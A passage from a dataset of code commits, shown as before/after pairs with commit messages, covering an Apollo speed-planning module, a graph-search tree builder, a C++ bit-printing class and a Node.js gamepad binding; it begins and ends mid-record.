qp_spline_st_speed_config,\n const VehicleParam& veh_param)\n : qp_spline_st_speed_config_(qp_spline_st_speed_config),\n t_evaluated_resolution_(\n qp_spline_st_speed_config_.total_time() \/\n qp_spline_st_speed_config_.number_of_evaluated_graph_t()) {\n Init();\n}\n\nvoid QpPiecewiseStGraph::Init() {\n \/\/ init evaluated t positions\n double curr_t = t_evaluated_resolution_;\n for (uint32_t i = 0;\n i < qp_spline_st_speed_config_.number_of_evaluated_graph_t(); ++i) {\n t_evaluated_.push_back(curr_t);\n curr_t += t_evaluated_resolution_;\n }\n}\n\nvoid QpPiecewiseStGraph::SetDebugLogger(\n planning_internal::STGraphDebug* st_graph_debug) {\n if (st_graph_debug) {\n st_graph_debug->Clear();\n st_graph_debug_ = st_graph_debug;\n }\n}\n\nStatus QpPiecewiseStGraph::Search(\n const StGraphData& st_graph_data, SpeedData* const speed_data,\n const std::pair<double, double>& accel_bound) {\n cruise_.clear();\n\n \/\/ reset piecewise linear generator\n generator_.reset(new PiecewiseLinearGenerator(\n qp_spline_st_speed_config_.number_of_evaluated_graph_t(),\n t_evaluated_resolution_));\n\n \/\/ start to search for best st points\n init_point_ = st_graph_data.init_point();\n\n \/\/ modified total path length\n if (st_graph_data.path_data_length() <\n qp_spline_st_speed_config_.total_path_length()) {\n qp_spline_st_speed_config_.set_total_path_length(\n st_graph_data.path_data_length());\n }\n\n if (!ApplyConstraint(st_graph_data.init_point(), st_graph_data.speed_limit(),\n st_graph_data.st_boundaries(), accel_bound)\n .ok()) {\n const std::string msg = \"Apply constraint failed!\";\n AERROR << msg;\n return Status(ErrorCode::PLANNING_ERROR, msg);\n }\n\n if (!ApplyKernel(st_graph_data.st_boundaries(), st_graph_data.speed_limit())\n .ok()) {\n const std::string msg = \"Apply kernel failed!\";\n AERROR << msg;\n return Status(ErrorCode::PLANNING_ERROR, msg);\n }\n\n if (!Solve().ok()) {\n const std::string msg = \"Solve qp problem failed!\";\n AERROR << msg;\n return Status(ErrorCode::PLANNING_ERROR, msg);\n }\n\n \/\/ extract output\n speed_data->Clear();\n const auto& res = generator_->params();\n speed_data->AppendSpeedPoint(0.0, 0.0, init_point_.v(), init_point_.a(), 0.0);\n\n double s = 0.0;\n double v = 0.0;\n double a = 0.0;\n\n double time = t_evaluated_resolution_;\n double dt = t_evaluated_resolution_;\n\n for (int i = 0; i < res.rows(); ++i, time += t_evaluated_resolution_) {\n s = res(i, 0);\n if (i == 0) {\n v = s \/ dt;\n a = (v - init_point_.v()) \/ dt;\n } else {\n const double curr_v = (s - res(i - 1, 0)) \/ dt;\n a = (curr_v - v) \/ dt;\n v = curr_v;\n }\n speed_data->AppendSpeedPoint(s, time, v, a, 0.0);\n }\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::ApplyConstraint(\n const common::TrajectoryPoint& init_point, const SpeedLimit& speed_limit,\n const std::vector<StBoundary>& boundaries,\n const std::pair<double, double>& accel_bound) {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::ApplyKernel(\n const std::vector<StBoundary>& boundaries, const SpeedLimit& speed_limit) {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::AddFollowReferenceLineKernel(\n const std::vector<StBoundary>& boundaries, const double weight) {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::GetSConstraintByTime(\n const std::vector<StBoundary>& boundaries, const double time,\n const double total_path_s, double* const s_upper_bound,\n double* const s_lower_bound) const {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::EstimateSpeedUpperBound(\n const common::TrajectoryPoint& init_point, const SpeedLimit& speed_limit,\n std::vector<double>* speed_upper_bound) const {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<commit_msg>Planning: Updated qp_piecewise_st_graph.<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file qp_piecewise_st_graph.cc\n **\/\n\n#include \"modules\/planning\/tasks\/qp_spline_st_speed\/qp_piecewise_st_graph.h\"\n\n#include <algorithm>\n#include <limits>\n#include <string>\n#include <utility>\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing apollo::common::ErrorCode;\nusing apollo::common::Status;\nusing apollo::common::VehicleParam;\nusing apollo::planning_internal::STGraphDebug;\n\nQpPiecewiseStGraph::QpPiecewiseStGraph(\n const QpSplineStSpeedConfig& qp_spline_st_speed_config,\n const VehicleParam& veh_param)\n : qp_spline_st_speed_config_(qp_spline_st_speed_config),\n t_evaluated_resolution_(\n qp_spline_st_speed_config_.total_time() \/\n qp_spline_st_speed_config_.number_of_evaluated_graph_t()) {\n Init();\n}\n\nvoid QpPiecewiseStGraph::Init() {\n \/\/ init evaluated t positions\n double curr_t = t_evaluated_resolution_;\n for (uint32_t i = 0;\n i < qp_spline_st_speed_config_.number_of_evaluated_graph_t(); ++i) {\n t_evaluated_.push_back(curr_t);\n curr_t += t_evaluated_resolution_;\n }\n}\n\nvoid QpPiecewiseStGraph::SetDebugLogger(\n planning_internal::STGraphDebug* st_graph_debug) {\n if (st_graph_debug) {\n st_graph_debug->Clear();\n st_graph_debug_ = st_graph_debug;\n }\n}\n\nStatus QpPiecewiseStGraph::Search(\n const StGraphData& st_graph_data, SpeedData* const speed_data,\n const std::pair<double, double>& accel_bound) {\n cruise_.clear();\n\n \/\/ reset piecewise linear generator\n generator_.reset(new PiecewiseLinearGenerator(\n qp_spline_st_speed_config_.number_of_evaluated_graph_t(),\n t_evaluated_resolution_));\n\n \/\/ start to search for best st points\n init_point_ = st_graph_data.init_point();\n\n \/\/ modified total path length\n if (st_graph_data.path_data_length() <\n qp_spline_st_speed_config_.total_path_length()) {\n qp_spline_st_speed_config_.set_total_path_length(\n st_graph_data.path_data_length());\n }\n\n if (!ApplyConstraint(st_graph_data.init_point(), st_graph_data.speed_limit(),\n st_graph_data.st_boundaries(), accel_bound)\n .ok()) {\n const std::string msg = \"Apply constraint failed!\";\n AERROR << msg;\n return Status(ErrorCode::PLANNING_ERROR, msg);\n }\n\n if (!ApplyKernel(st_graph_data.st_boundaries(), st_graph_data.speed_limit())\n .ok()) {\n const std::string msg = \"Apply kernel failed!\";\n AERROR << msg;\n return Status(ErrorCode::PLANNING_ERROR, msg);\n }\n\n if (!Solve().ok()) {\n const std::string msg = \"Solve qp problem failed!\";\n AERROR << msg;\n return Status(ErrorCode::PLANNING_ERROR, msg);\n }\n\n \/\/ extract output\n speed_data->Clear();\n const auto& res = generator_->params();\n speed_data->AppendSpeedPoint(0.0, 0.0, init_point_.v(), init_point_.a(), 0.0);\n\n double s = 0.0;\n double v = 0.0;\n double a = 0.0;\n\n double time = t_evaluated_resolution_;\n double dt = t_evaluated_resolution_;\n\n for (int i = 0; i < res.rows(); ++i, time += t_evaluated_resolution_) {\n s = res(i, 0);\n if (i == 0) {\n v = s \/ dt;\n a = (v - init_point_.v()) \/ dt;\n } else {\n const double curr_v = (s - res(i - 1, 0)) \/ dt;\n a = (curr_v - v) \/ dt;\n v = curr_v;\n }\n speed_data->AppendSpeedPoint(s, time, v, a, 0.0);\n }\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::ApplyConstraint(\n const common::TrajectoryPoint& init_point, const SpeedLimit& speed_limit,\n const std::vector<StBoundary>& boundaries,\n const std::pair<double, double>& accel_bound) {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::ApplyKernel(\n const std::vector<StBoundary>& boundaries, const SpeedLimit& speed_limit) {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::AddFollowReferenceLineKernel(\n const std::vector<StBoundary>& boundaries, const double weight) {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::GetSConstraintByTime(\n const std::vector<StBoundary>& boundaries, const double time,\n const double total_path_s, double* const s_upper_bound,\n double* const s_lower_bound) const {\n \/\/ TODO(Lianliang): implement this function.\n return Status::OK();\n}\n\nStatus QpPiecewiseStGraph::EstimateSpeedUpperBound(\n const common::TrajectoryPoint& init_point, const SpeedLimit& speed_limit,\n std::vector<double>* speed_upper_bound) const {\n \/\/ TODO(Lianliang): define a QpStGraph class and move this function in it.\n DCHECK_NOTNULL(speed_upper_bound);\n\n speed_upper_bound->clear();\n\n \/\/ use v to estimate position: not accurate, but feasible in cyclic\n \/\/ processing. We can do the following process multiple times and use\n \/\/ previous cycle's results for better estimation.\n const double v = init_point.v();\n\n if (static_cast<double>(t_evaluated_.size() +\n speed_limit.speed_limit_points().size()) <\n t_evaluated_.size() * std::log(static_cast<double>(\n speed_limit.speed_limit_points().size()))) {\n uint32_t i = 0;\n uint32_t j = 0;\n const double kDistanceEpsilon = 1e-6;\n while (i < t_evaluated_.size() &&\n j + 1 < speed_limit.speed_limit_points().size()) {\n const double distance = v * t_evaluated_[i];\n if (fabs(distance - speed_limit.speed_limit_points()[j].first) <\n kDistanceEpsilon) {\n speed_upper_bound->push_back(\n speed_limit.speed_limit_points()[j].second);\n ++i;\n ADEBUG << \"speed upper bound:\" << speed_upper_bound->back();\n } else if (distance < speed_limit.speed_limit_points()[j].first) {\n ++i;\n } else if (distance <= speed_limit.speed_limit_points()[j + 1].first) {\n speed_upper_bound->push_back(speed_limit.GetSpeedLimitByS(distance));\n ADEBUG << \"speed upper bound:\" << speed_upper_bound->back();\n ++i;\n } else {\n ++j;\n }\n }\n\n for (uint32_t k = speed_upper_bound->size(); k < t_evaluated_.size(); ++k) {\n speed_upper_bound->push_back(FLAGS_planning_upper_speed_limit);\n ADEBUG << \"speed upper bound:\" << speed_upper_bound->back();\n }\n } else {\n auto cmp = [](const std::pair<double, double>& p1, const double s) {\n return p1.first < s;\n };\n\n const auto& speed_limit_points = speed_limit.speed_limit_points();\n for (const double t : t_evaluated_) {\n const double s = v * t;\n\n \/\/ NOTICE: we are using binary search here based on two assumptions:\n \/\/ (1) The s in speed_limit_points increase monotonically.\n \/\/ (2) The evaluated_t_.size() << number of speed_limit_points.size()\n \/\/\n \/\/ If either of the two assumption is failed, a new algorithm must be\n \/\/ used\n \/\/ to replace the binary search.\n\n const auto& it = std::lower_bound(speed_limit_points.begin(),\n speed_limit_points.end(), s, cmp);\n if (it != speed_limit_points.end()) {\n speed_upper_bound->push_back(it->second);\n } else {\n speed_upper_bound->push_back(speed_limit_points.back().second);\n }\n }\n }\n\n const double kTimeBuffer = 2.0;\n const double kSpeedBuffer = 0.1;\n for (uint32_t k = 0; k < t_evaluated_.size() && t_evaluated_[k] < kTimeBuffer;\n ++k) {\n speed_upper_bound->at(k) =\n std::fmax(init_point_.v() + kSpeedBuffer, speed_upper_bound->at(k));\n }\n\n return Status::OK();\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/\/ (C) 2014 Arek Olek\n\n#pragma once\n\n#include <stack>\n#include <vector>\n\n#include <boost\/graph\/adjacency_list.hpp>\n\n#include \"range.hpp\"\n\nnamespace detail {\n\n unsigned typedef node;\n std::pair<node, node> typedef edge;\n\n template <class Graph>\n void visit(Graph& G, Graph& T, node v,\n node& next_rank, std::vector<node>& rank,\n std::vector<node>& deg, std::stack<edge>& edges) {\n\n rank[v] = next_rank++;\n\n node w, x, y;\n unsigned min_deg = UINT_MAX;\n\n for(auto u : range(adjacent_vertices(v, G))) {\n --deg[u];\n\n if(rank[u] == 0 && deg[u] < min_deg) {\n w = u;\n min_deg = deg[u];\n }\n }\n\n if(min_deg == UINT_MAX) {\n while(!edges.empty() && rank[edges.top().second] != 0)\n edges.pop();\n if(edges.empty())\n return;\n std::tie(x, y) = edges.top();\n } else std::tie(x, y) = edge(v, w);\n\n add_edge(x, y, T);\n\n for(auto u : range(adjacent_vertices(x, G)))\n if(u != y && rank[u] == 0)\n edges.emplace(x, u);\n\n visit(G, T, y, next_rank, rank, deg, edges);\n }\n\n}\n\ntemplate <class Graph>\nGraph rdfs_tree(Graph& G) {\n unsigned n = num_vertices(G);\n Graph T(n);\n unsigned next_rank = 1;\n std::vector<detail::node> rank(n, 0), deg(n);\n std::stack<detail::edge> edges;\n\n for(auto v : range(vertices(G)))\n deg[v] = degree(v, G);\n\n detail::visit(G, T, 0, next_rank, rank, deg, edges);\n\n return T;\n}\n<commit_msg>fix compile warning<commit_after>\/\/ (C) 2014 Arek Olek\n\n#pragma once\n\n#include <stack>\n#include <vector>\n\n#include <boost\/graph\/adjacency_list.hpp>\n\n#include \"range.hpp\"\n\nnamespace detail {\n\n unsigned typedef node;\n std::pair<node, node> typedef edge;\n\n template <class Graph>\n void visit(Graph& G, Graph& T, node v,\n node& next_rank, std::vector<node>& rank,\n std::vector<node>& deg, std::stack<edge>& edges) {\n\n rank[v] = next_rank++;\n\n node w = -1, x, y;\n unsigned min_deg = UINT_MAX;\n\n for(auto u : range(adjacent_vertices(v, G))) {\n --deg[u];\n\n if(rank[u] == 0 && deg[u] < min_deg) {\n w = u;\n min_deg = deg[u];\n }\n }\n\n if(min_deg == UINT_MAX) {\n while(!edges.empty() && rank[edges.top().second] != 0)\n edges.pop();\n if(edges.empty())\n return;\n std::tie(x, y) = edges.top();\n } else std::tie(x, y) = edge(v, w);\n\n add_edge(x, y, T);\n\n for(auto u : range(adjacent_vertices(x, G)))\n if(u != y && rank[u] == 0)\n edges.emplace(x, u);\n\n visit(G, T, y, next_rank, rank, deg, edges);\n }\n\n}\n\ntemplate <class Graph>\nGraph rdfs_tree(Graph& G) {\n unsigned n = num_vertices(G);\n Graph T(n);\n unsigned next_rank = 1;\n std::vector<detail::node> rank(n, 0), deg(n);\n std::stack<detail::edge> edges;\n\n for(auto v : range(vertices(G)))\n deg[v] = degree(v, G);\n\n detail::visit(G, T, 0, next_rank, rank, deg, edges);\n\n return T;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <bitset>\n#include <cstring>\n#include <iostream>\n\nnamespace bitwise {\n\tusing std::cout;\n\tusing std::ostream;\n\n\ttemplate <typename A>\n\tclass binary final {\n\t\ttemplate <typename B>\n\t\tusing conref = const B&;\n\n\t\tconstexpr static size_t sz{sizeof(A)};\n\t\tconstexpr static size_t szB{sz << 3};\n\n\t\tusing bitA = std::bitset<szB>;\n\t\tusing byte = unsigned char;\n\t\tusing bit = bool;\n\n\tpublic:\n\t\texplicit binary(void) = delete;\n\n\t\texplicit binary(conref<A> a) noexcept {\n\t\t\tbyte* ptr = new byte[sz];\n\t\t\tmemcpy((void *) ptr, (const void* const) &a, sz);\n\n\t\t\tfor (size_t i = 0; i < sz; ++i) {\n\t\t\t\tstatic byte ch;\n\t\t\t\tch = ptr[i];\n\t\t\t\tfor (size_t j = 0; j < 8; ++j) {\n\t\t\t\t\tstatic bool bitVal;\n\t\t\t\t\tbitVal = binary<A>::getBitFromByte(ch, j);\n\t\t\t\t\tthis->bits[binary<A>::getBitIdx(i, j)] = bitVal;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdelete [] ptr;\n\t\t}\n\n\t\texplicit binary(A&& a) noexcept : binary(a) {}\n\n\t\ttemplate <typename... B>\n\t\texplicit binary(B... b) = delete;\n\n\t\tinline ~binary(void) noexcept{\n\t\t\tbits.~bitA();\n\t\t}\n\n\t\tinline void print(void) const noexcept {\n\t\t\tbinary<A>::print(std::cout, *this);\n\t\t}\n\n\t\tinline bool getBit(conref<size_t> idx) const noexcept {\n\t\t\treturn bits[idx];\n\t\t}\n\n\t\tinline bool getBit(conref<byte> byteIdx, conref<byte> bitIdx) const noexcept {\n\t\t\treturn binary<A>::getBit(*this, byteIdx, bitIdx);\n\t\t}\n\n\t\ttemplate <typename... B>\n\t\tinline bool getBit(B... b) const noexcept = delete;\n\n\t\ttemplate <typename B>\n\t\tfriend inline ostream& operator<<(ostream& os, conref<binary<B>> a) noexcept {\n\t\t\ta.print();\n\n\t\t\treturn os;\n\t\t}\n\n\t\ttemplate <typename B>\n\t\tfriend inline ostream& operator<<(ostream& os, binary<B>&& a) noexcept {\n\t\t\ta.print();\n\n\t\t\treturn os;\n\t\t}\n\n\tprivate:\n\t\tstatic inline void print(std::ostream& os, conref<binary<A>> a) noexcept {\n\t\t\tconstexpr static size_t szOneLess{sz - 1};\n\n\t\t\tfor (size_t i = 0; i < sz; ++i) {\n\t\t\t\tfor (size_t j = 0; j < 8; ++j) {\n\t\t\t\t\tstatic bit bitIdx;\n\t\t\t\t\tbitIdx = (bit) a.bits[getBitIdx(i, j)];\n\t\t\t\t\tos << bitIdx;\n\t\t\t\t}\n\n\t\t\t\tif (szOneLess != i) {\n\t\t\t\t\tos << ' ';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\t\tstatic inline bit getBitFromByte(conref<byte> data, conref<byte> bitIdx) noexcept {\n\t\t\treturn data & (1 << bitIdx);\n\t\t}\n\n\t\tstatic inline size_t getBitIdx(conref<size_t> byteIdx, conref<size_t> bitIdx) noexcept {\n\t\t\treturn (byteIdx << 3) + bitIdx;\n\t\t}\n\n\t\tstatic inline bit getBit(conref<binary<A>> bits, conref<size_t> byteIdx, conref<size_t> bitIdx) noexcept {\n\t\t\treturn bits[getBitIdx(byteIdx, bitIdx)];\n\t\t}\n\n\t\tbitA bits;\n\t};\n}<commit_msg>added to whole despairagus interproject namespace<commit_after>#pragma once\n\n#include <bitset>\n#include <cstring>\n#include <iostream>\n\nnamespace desparaigus {\n\tnamespace bitwise {\n\t\tusing std::cout;\n\t\tusing std::ostream;\n\n\t\ttemplate<typename A>\n\t\tclass binary final {\n\t\t\ttemplate<typename B>\n\t\t\tusing conref = const B &;\n\n\t\t\tconstexpr static size_t sz{sizeof(A)};\n\t\t\tconstexpr static size_t szB{sz << 3};\n\n\t\t\tusing bitA = std::bitset<szB>;\n\t\t\tusing byte = unsigned char;\n\t\t\tusing bit = bool;\n\n\t\tpublic:\n\t\t\texplicit binary(void) = delete;\n\n\t\t\texplicit binary(conref<A> a) noexcept {\n\t\t\t\tbyte *ptr = new byte[sz];\n\t\t\t\tmemcpy((void *) ptr, (const void *const) &a, sz);\n\n\t\t\t\tfor (size_t i = 0; i < sz; ++i) {\n\t\t\t\t\tstatic byte ch;\n\t\t\t\t\tch = ptr[i];\n\t\t\t\t\tfor (size_t j = 0; j < 8; ++j) {\n\t\t\t\t\t\tstatic bool bitVal;\n\t\t\t\t\t\tbitVal = binary<A>::getBitFromByte(ch, j);\n\t\t\t\t\t\tthis->bits[binary<A>::getBitIdx(i, j)] = bitVal;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tdelete[] ptr;\n\t\t\t}\n\n\t\t\texplicit binary(A &&a) noexcept : binary(a) {\n\t\t\t}\n\n\t\t\ttemplate<typename... B>\n\t\t\texplicit binary(B... b) = delete;\n\n\t\t\tinline ~binary(void) noexcept {\n\t\t\t\tbits.~bitA();\n\t\t\t}\n\n\t\t\tinline void print(void) const noexcept {\n\t\t\t\tbinary<A>::print(std::cout, *this);\n\t\t\t}\n\n\t\t\tinline bool getBit(conref<size_t> idx) const noexcept {\n\t\t\t\treturn bits[idx];\n\t\t\t}\n\n\t\t\tinline bool getBit(conref<byte> byteIdx, conref<byte> bitIdx) const noexcept {\n\t\t\t\treturn binary<A>::getBit(*this, byteIdx, bitIdx);\n\t\t\t}\n\n\t\t\ttemplate<typename... B>\n\t\t\tinline bool getBit(B... b) const noexcept = delete;\n\n\t\t\ttemplate<typename B>\n\t\t\tfriend inline ostream &operator<<(ostream &os, conref<binary<B>> a) noexcept {\n\t\t\t\ta.print();\n\n\t\t\t\treturn os;\n\t\t\t}\n\n\t\t\ttemplate<typename B>\n\t\t\tfriend inline ostream &operator<<(ostream &os, binary<B> &&a) noexcept {\n\t\t\t\ta.print();\n\n\t\t\t\treturn os;\n\t\t\t}\n\n\t\tprivate:\n\t\t\tstatic inline void print(std::ostream &os, conref<binary<A>> a) noexcept {\n\t\t\t\tconstexpr static size_t szOneLess{sz - 1};\n\n\t\t\t\tfor (size_t i = 0; i < sz; ++i) {\n\t\t\t\t\tfor (size_t j = 0; j < 8; ++j) {\n\t\t\t\t\t\tstatic bit bitIdx;\n\t\t\t\t\t\tbitIdx = (bit) a.bits[getBitIdx(i, j)];\n\t\t\t\t\t\tos << bitIdx;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (szOneLess != i) {\n\t\t\t\t\t\tos << ' ';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t\tstatic inline bit getBitFromByte(conref<byte> data, conref<byte> bitIdx) noexcept {\n\t\t\t\treturn data & (1 << bitIdx);\n\t\t\t}\n\n\t\t\tstatic inline size_t getBitIdx(conref<size_t> byteIdx, conref<size_t> bitIdx) noexcept {\n\t\t\t\treturn (byteIdx << 3) + bitIdx;\n\t\t\t}\n\n\t\t\tstatic inline bit getBit(conref<binary<A>> bits, conref<size_t> byteIdx, conref<size_t> bitIdx) noexcept {\n\t\t\t\treturn bits[getBitIdx(byteIdx, bitIdx)];\n\t\t\t}\n\n\t\t\tbitA bits;\n\t\t};\n\t}\n}<|endoftext|>"} {"text":"<commit_before>#include <node.h>\n#include <nan.h>\n#include <v8.h>\n#include \"gamepad\/Gamepad.h\"\n\nusing namespace v8;\n\nNan::Persistent<Object> persistentHandle;\nNan::AsyncResource asyncResource(\"gamepad\");\n\nNAN_METHOD(nGamepad_init) {\n Nan::HandleScope scope;\n Gamepad_init();\n return;\n}\n\nNAN_METHOD(nGamepad_shutdown) {\n Nan::HandleScope scope;\n Gamepad_shutdown();\n return;\n}\n\nNAN_METHOD(nGamepad_numDevices) {\n Nan::HandleScope scope;\n info.GetReturnValue().Set(Nan::New<Number>(Gamepad_numDevices()));\n}\n\nLocal<Object> nGamepad_toObject(Gamepad_device* device) {\n Local<Object> obj = Nan::New<Object>();\n obj->Set(Nan::New(\"deviceID\").ToLocalChecked(), Nan::New<Number>(device->deviceID));\n obj->Set(Nan::New(\"description\").ToLocalChecked(), Nan::New<String>(device->description).ToLocalChecked());\n obj->Set(Nan::New(\"vendorID\").ToLocalChecked(), Nan::New<Number>(device->vendorID));\n obj->Set(Nan::New(\"productID\").ToLocalChecked(), Nan::New<Number>(device->productID));\n Local<Array> axes = Nan::New<Array>(device->numAxes);\n for (unsigned int i = 0; i < device->numAxes; i++) {\n axes->Set(i, Nan::New<Number>(device->axisStates[i]));\n }\n obj->Set(Nan::New(\"axisStates\").ToLocalChecked(), axes);\n Local<Array> buttons = Nan::New<Array>(device->numButtons);\n for (unsigned int i = 0; i < device->numButtons; i++) {\n buttons->Set(i, Nan::New<Boolean>(device->buttonStates[i]));\n }\n obj->Set(Nan::New(\"buttonStates\").ToLocalChecked(), buttons);\n return obj;\n}\n\nNAN_METHOD(nGamepad_deviceAtIndex) {\n Nan::HandleScope scope;\n int deviceIndex = info[0].As<Int32>()->Value();\n struct Gamepad_device* device = Gamepad_deviceAtIndex(deviceIndex);\n if (!device) return;\n info.GetReturnValue().Set(nGamepad_toObject(device));\n}\n\nNAN_METHOD(nGamepad_detectDevices) {\n Nan::HandleScope scope;\n Gamepad_detectDevices();\n return;\n}\n\nNAN_METHOD(nGamepad_processEvents) {\n Nan::HandleScope scope;\n Gamepad_processEvents();\n return;\n}\n\nvoid nGamepad_deviceAttach_cb(struct Gamepad_device* device, void* context) {\n Local<Value> info[] = {\n Nan::New(\"attach\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n nGamepad_toObject(device),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 3, info);\n}\n\nvoid nGamepad_deviceRemove_cb(struct Gamepad_device* device, void* context) {\n Local<Value> info[] = {\n Nan::New(\"remove\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 2, info);\n}\n\nvoid nGamepad_buttonDown_cb(struct Gamepad_device* device, unsigned int buttonID, double timestamp, void* context) {\n Local<Value> info[] = {\n Nan::New(\"down\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n Nan::New<Number>(buttonID),\n Nan::New<Number>(timestamp),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 4, info);\n}\n\nvoid nGamepad_buttonUp_cb(struct Gamepad_device* device, unsigned int buttonID, double timestamp, void* context) {\n Local<Value> info[] = {\n Nan::New(\"up\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n Nan::New<Number>(buttonID),\n Nan::New<Number>(timestamp),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 4, info);\n}\n\nvoid nGamepad_axisMove_cb(struct Gamepad_device* device, unsigned int axisID, float value, float lastValue, double timestamp, void * context) {\n Local<Value> info[] = {\n Nan::New(\"move\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n Nan::New<Number>(axisID),\n Nan::New<Number>(value),\n Nan::New<Number>(lastValue),\n Nan::New<Number>(timestamp),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 6, info);\n}\n\nvoid init(Local<Object> target) {\n Local<Object> handle = Nan::New<Object>();\n persistentHandle.Reset(handle);\n\n target->Set(Nan::New<String>(\"context\").ToLocalChecked(), handle);\n\n Gamepad_deviceAttachFunc(nGamepad_deviceAttach_cb, NULL);\n Gamepad_deviceRemoveFunc(nGamepad_deviceRemove_cb, NULL);\n Gamepad_buttonDownFunc(nGamepad_buttonDown_cb, NULL);\n Gamepad_buttonUpFunc(nGamepad_buttonUp_cb, NULL);\n Gamepad_axisMoveFunc(nGamepad_axisMove_cb, NULL);\n\n Nan::SetMethod(target, \"init\", nGamepad_init);\n Nan::SetMethod(target, \"shutdown\", nGamepad_shutdown);\n Nan::SetMethod(target, \"numDevices\", nGamepad_numDevices);\n Nan::SetMethod(target, \"deviceAtIndex\", nGamepad_deviceAtIndex);\n Nan::SetMethod(target, \"detectDevices\", nGamepad_detectDevices);\n Nan::SetMethod(target, \"processEvents\", nGamepad_processEvents);\n}\n\nNODE_MODULE(gamepad, init)\n<commit_msg>Replace deprecated usage of Set with Nan::Set<commit_after>#include <node.h>\n#include <nan.h>\n#include <v8.h>\n#include \"gamepad\/Gamepad.h\"\n\nusing namespace v8;\n\nNan::Persistent<Object> persistentHandle;\nNan::AsyncResource asyncResource(\"gamepad\");\n\nNAN_METHOD(nGamepad_init) {\n Nan::HandleScope scope;\n Gamepad_init();\n return;\n}\n\nNAN_METHOD(nGamepad_shutdown) {\n Nan::HandleScope scope;\n Gamepad_shutdown();\n return;\n}\n\nNAN_METHOD(nGamepad_numDevices) {\n Nan::HandleScope scope;\n info.GetReturnValue().Set(Nan::New<Number>(Gamepad_numDevices()));\n}\n\nLocal<Object> nGamepad_toObject(Gamepad_device* device) {\n Local<Object> obj = Nan::New<Object>();\n Nan::Set(obj, Nan::New(\"deviceID\").ToLocalChecked(), Nan::New<Number>(device->deviceID));\n Nan::Set(obj, Nan::New(\"description\").ToLocalChecked(), Nan::New<String>(device->description).ToLocalChecked());\n Nan::Set(obj, Nan::New(\"vendorID\").ToLocalChecked(), Nan::New<Number>(device->vendorID));\n Nan::Set(obj, Nan::New(\"productID\").ToLocalChecked(), Nan::New<Number>(device->productID));\n Local<Array> axes = Nan::New<Array>(device->numAxes);\n for (unsigned int i = 0; i < device->numAxes; i++) {\n Nan::Set(axes, i, Nan::New<Number>(device->axisStates[i]));\n }\n Nan::Set(obj, Nan::New(\"axisStates\").ToLocalChecked(), axes);\n Local<Array> buttons = Nan::New<Array>(device->numButtons);\n for (unsigned int i = 0; i < device->numButtons; i++) {\n Nan::Set(buttons, i, Nan::New<Boolean>(device->buttonStates[i]));\n }\n Nan::Set(obj, Nan::New(\"buttonStates\").ToLocalChecked(), buttons);\n return obj;\n}\n\nNAN_METHOD(nGamepad_deviceAtIndex) {\n Nan::HandleScope scope;\n int deviceIndex = info[0].As<Int32>()->Value();\n struct Gamepad_device* device = Gamepad_deviceAtIndex(deviceIndex);\n if (!device) return;\n info.GetReturnValue().Set(nGamepad_toObject(device));\n}\n\nNAN_METHOD(nGamepad_detectDevices) {\n Nan::HandleScope scope;\n Gamepad_detectDevices();\n return;\n}\n\nNAN_METHOD(nGamepad_processEvents) {\n Nan::HandleScope scope;\n Gamepad_processEvents();\n return;\n}\n\nvoid nGamepad_deviceAttach_cb(struct Gamepad_device* device, void* context) {\n Local<Value> info[] = {\n Nan::New(\"attach\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n nGamepad_toObject(device),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 3, info);\n}\n\nvoid nGamepad_deviceRemove_cb(struct Gamepad_device* device, void* context) {\n Local<Value> info[] = {\n Nan::New(\"remove\").ToLocalChecked(),\n Nan::New<Number>(device->deviceID),\n };\n asyncResource.runInAsyncScope(Nan::New<Object>(persistentHandle), \"on\", 2, info);\n}\n\nvoid 